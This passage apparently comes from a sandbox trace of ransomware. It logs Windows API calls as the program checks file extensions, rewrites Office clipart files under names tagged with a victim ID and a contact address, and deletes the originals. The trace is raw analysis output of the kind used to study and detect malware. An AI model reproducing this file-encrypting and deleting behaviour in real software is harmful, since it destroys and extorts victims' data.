Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.372] lstrlenW (lpString=".1cd") returned 4 [0273.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0273.372] lstrlenW (lpString=".jpg") returned 4 [0273.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.372] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.372] lstrlenW (lpString="FD00965_.WMF") returned 12 [0273.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.398] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=15164) returned 1 [0273.398] CloseHandle (hObject=0x354) returned 1 [0273.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0273.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.399] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.399] GetLastError () returned 0x0 [0273.399] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0273.401] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0273.402] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.402] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.402] SetEndOfFile (hFile=0x304) returned 1 [0273.402] CloseHandle (hObject=0x304) returned 1 [0273.402] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.402] SetEndOfFile (hFile=0x354) returned 1 [0273.691] CloseHandle (hObject=0x354) returned 1 [0273.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0273.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.693] lstrlenW (lpString=".doc") returned 4 [0273.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.693] lstrlenW (lpString=".docx") returned 5 [0273.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.693] lstrlenW (lpString=".pdf") returned 4 [0273.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.693] lstrlenW (lpString=".xls") returned 4 [0273.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.693] lstrlenW (lpString=".xlsx") returned 5 [0273.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.693] lstrlenW (lpString=".ppt") returned 4 [0273.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.693] lstrlenW (lpString=".zip") returned 4 [0273.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.693] lstrlenW (lpString=".rar") returned 4 [0273.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.693] lstrlenW (lpString=".bz2") returned 4 [0273.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.693] lstrlenW (lpString=".7z") returned 3 [0273.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString=".dbf") returned 4 [0273.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString=".1cd") returned 4 [0273.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString=".jpg") returned 4 [0273.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString=".doc") returned 4 [0273.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString=".docx") returned 5 [0273.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.694] lstrlenW (lpString=".pdf") returned 4 [0273.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString=".xls") returned 4 [0273.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.694] lstrlenW (lpString=".xlsx") returned 5 [0273.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.694] lstrlenW (lpString=".ppt") returned 4 [0273.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.694] lstrlenW (lpString=".zip") returned 4 [0273.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.694] lstrlenW (lpString=".rar") returned 4 [0273.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString=".bz2") returned 4 [0273.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.694] lstrlenW (lpString=".7z") returned 3 [0273.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.695] lstrlenW (lpString=".dbf") returned 4 [0273.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.695] lstrlenW (lpString=".1cd") returned 4 [0273.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0273.695] lstrlenW (lpString=".jpg") returned 4 [0273.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.695] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.695] lstrlenW (lpString="FD02075_.WMF") returned 12 [0273.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.696] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=4396) returned 1 [0273.696] CloseHandle (hObject=0x354) returned 1 [0273.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0273.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.696] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.696] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.697] GetLastError () returned 0x0 [0273.697] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x112c, lpOverlapped=0x0) returned 1 [0273.698] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x1130, lpOverlapped=0x0) returned 1 [0273.700] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.700] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.700] SetEndOfFile (hFile=0x398) returned 1 [0273.701] CloseHandle (hObject=0x398) returned 1 [0273.701] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.701] SetEndOfFile (hFile=0x354) returned 1 [0273.703] CloseHandle (hObject=0x354) returned 1 [0273.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString=".doc") returned 4 [0273.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString=".docx") returned 5 [0273.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.704] lstrlenW (lpString=".pdf") returned 4 [0273.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString=".xls") returned 4 [0273.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.704] lstrlenW (lpString=".xlsx") returned 5 [0273.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.704] lstrlenW (lpString=".ppt") returned 4 [0273.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString=".zip") returned 4 [0273.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.704] lstrlenW (lpString=".rar") returned 4 [0273.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString=".bz2") returned 4 [0273.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString=".7z") returned 3 [0273.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString=".dbf") returned 4 [0273.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString=".1cd") returned 4 [0273.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.704] lstrlenW (lpString=".jpg") returned 4 [0273.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString=".doc") returned 4 [0273.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString=".docx") returned 5 [0273.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.705] lstrlenW (lpString=".pdf") returned 4 [0273.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString=".xls") returned 4 [0273.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.705] lstrlenW (lpString=".xlsx") returned 5 [0273.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.705] lstrlenW (lpString=".ppt") returned 4 [0273.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString=".zip") returned 4 [0273.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.705] lstrlenW (lpString=".rar") returned 4 [0273.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString=".bz2") returned 4 [0273.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString=".7z") returned 3 [0273.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString=".dbf") returned 4 [0273.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString=".1cd") returned 4 [0273.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0273.705] lstrlenW (lpString=".jpg") returned 4 [0273.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.706] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.706] lstrlenW (lpString="FD02088_.WMF") returned 12 [0273.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.706] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=3696) returned 1 [0273.706] CloseHandle (hObject=0x354) returned 1 [0273.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0273.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.706] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.706] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.707] GetLastError () returned 0x0 [0273.707] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0xe70, lpOverlapped=0x0) returned 1 [0273.709] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0273.709] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.709] WriteFile (in: hFile=0x398, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.710] SetEndOfFile (hFile=0x398) returned 1 [0273.710] CloseHandle (hObject=0x398) returned 1 [0273.710] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.710] SetEndOfFile (hFile=0x354) returned 1 [0273.712] CloseHandle (hObject=0x354) returned 1 [0273.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0273.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString=".doc") returned 4 [0273.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString=".docx") returned 5 [0273.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.713] lstrlenW (lpString=".pdf") returned 4 [0273.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString=".xls") returned 4 [0273.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.713] lstrlenW (lpString=".xlsx") returned 5 [0273.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.713] lstrlenW (lpString=".ppt") returned 4 [0273.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString=".zip") returned 4 [0273.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.713] lstrlenW (lpString=".rar") returned 4 [0273.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString=".bz2") returned 4 [0273.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString=".7z") returned 3 [0273.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString=".dbf") returned 4 [0273.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString=".1cd") returned 4 [0273.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.713] lstrlenW (lpString=".jpg") returned 4 [0273.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString=".doc") returned 4 [0273.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString=".docx") returned 5 [0273.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.714] lstrlenW (lpString=".pdf") returned 4 [0273.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString=".xls") returned 4 [0273.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.714] lstrlenW (lpString=".xlsx") returned 5 [0273.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.714] lstrlenW (lpString=".ppt") returned 4 [0273.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString=".zip") returned 4 [0273.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.714] lstrlenW (lpString=".rar") returned 4 [0273.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString=".bz2") returned 4 [0273.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString=".7z") returned 3 [0273.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString=".dbf") returned 4 [0273.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString=".1cd") returned 4 [0273.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0273.714] lstrlenW (lpString=".jpg") returned 4 [0273.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.715] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.715] lstrlenW (lpString="FD02097_.WMF") returned 12 [0273.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 